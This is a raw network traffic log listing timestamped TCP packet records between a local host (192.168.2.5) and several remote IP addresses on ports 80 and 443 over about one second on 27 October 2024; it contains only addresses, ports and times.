Oct 27, 2024 17:54:37.191879034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.191900969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.191900969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.191921949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.191922903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.191952944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.191979885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.192437887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192492962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192498922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.192507029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192532063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.192548990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.192749977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192761898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192773104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192784071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.192796946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.192838907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.193263054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.193273067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.193334103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.194880962 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.194904089 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.194958925 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.194966078 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.194988012 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.195002079 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.195743084 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.195786953 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.195796967 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.195802927 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.195826054 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.195848942 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.195895910 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.196129084 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.196141958 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.223979950 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.224024057 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.224045038 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.224066019 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.224097967 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.224117994 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.231445074 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.232106924 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.234376907 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.234400988 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.235091925 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.235097885 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.235606909 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.235654116 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.236222029 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.236233950 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.242891073 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.243243933 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.243261099 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.243887901 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.243892908 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.250300884 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.252904892 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.252926111 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.253520012 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.253526926 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.265054941 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265100956 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265171051 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.265191078 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265223980 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.265244007 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265290022 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.265302896 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265345097 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.265357018 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265455961 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.265507936 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.266659975 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.266689062 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.272133112 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.272182941 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.272322893 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.272582054 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.272612095 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.274348021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.274365902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.274410009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.274441957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312099934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312118053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312134027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312149048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312155008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312186003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312222958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312264919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312336922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312345982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312351942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312367916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.312376976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312401056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312422991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.312999010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313014984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313050032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313065052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313065052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.313081980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313095093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.313126087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.313546896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313560009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.313601971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.325999975 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.326065063 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.326159000 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.326410055 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.326441050 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.361191034 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.361228943 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.361284971 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.361315966 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.361351013 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.362575054 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.362628937 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.362708092 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.373171091 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.373239994 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.373322964 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.373337030 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.373358011 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.373406887 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.375909090 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.375931025 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.384036064 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.384107113 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.384171963 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.389240980 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.389256001 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.389270067 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.389276028 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.390587091 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.390605927 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.390619040 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.390625954 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.391216993 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.391222000 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.395265102 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.395358086 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.395450115 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.396589994 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.396624088 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.396713018 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.396810055 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.396832943 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.396903992 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.397326946 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.397365093 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.397418022 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.397444010 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.397625923 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.397653103 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.397993088 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.398014069 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.398104906 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.400636911 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.400649071 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.401269913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.401289940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.401380062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432017088 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432085991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432096958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432102919 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432116032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432131052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432143927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432158947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432184935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432441950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432452917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432462931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432486057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432527065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432816029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432826996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432838917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432851076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.432863951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.432892084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.433295965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.433339119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.433351040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.433361053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.433389902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.433429003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.439358950 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.439395905 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.439608097 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.439711094 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.439738989 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.439801931 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440012932 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440021992 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.440248966 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440471888 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440485954 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.440736055 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440752029 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.440933943 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:37.440944910 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:37.552126884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552139997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552197933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.552201986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552216053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552238941 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.552247047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552261114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552261114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.552273035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552279949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.552287102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.552315950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.552340984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553085089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553106070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553164959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553261042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553277969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553291082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553302050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553327084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553344011 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553776979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553828001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553870916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553905964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553915977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553916931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.553941965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.553956985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.587934017 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.587980032 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.588105917 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588232040 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588264942 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.588334084 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588568926 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588668108 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.588762045 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588958025 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.588968039 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.589025021 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589202881 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589225054 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.589298010 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589483023 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589499950 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.589713097 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589736938 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.589854002 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.589889050 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.590110064 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.590121984 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.590248108 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.590274096 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.673223972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673270941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673290014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673291922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673309088 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673321962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673321962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673346996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673362017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673386097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673444986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673482895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673501015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673512936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673525095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673526049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673538923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673547029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673552036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.673582077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.673608065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.674467087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.674478054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.674488068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.674516916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.674575090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.718369961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.718410015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.718427896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.718451023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793035030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793091059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793098927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793102980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793123007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793158054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793173075 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793198109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793210983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793220997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793251038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793620110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793642998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793653965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793672085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793685913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.793703079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.793729067 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.794169903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.794215918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.794224024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.794228077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.794253111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.794264078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.794274092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.794277906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.794311047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.798048973 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.798727989 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.798751116 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.799487114 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.799493074 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.838901997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.838915110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.838924885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.838974953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.839004040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913249016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913283110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913304090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913311958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913317919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913331032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913342953 CET	49853	80	192.168.2.5	185.215.113.206
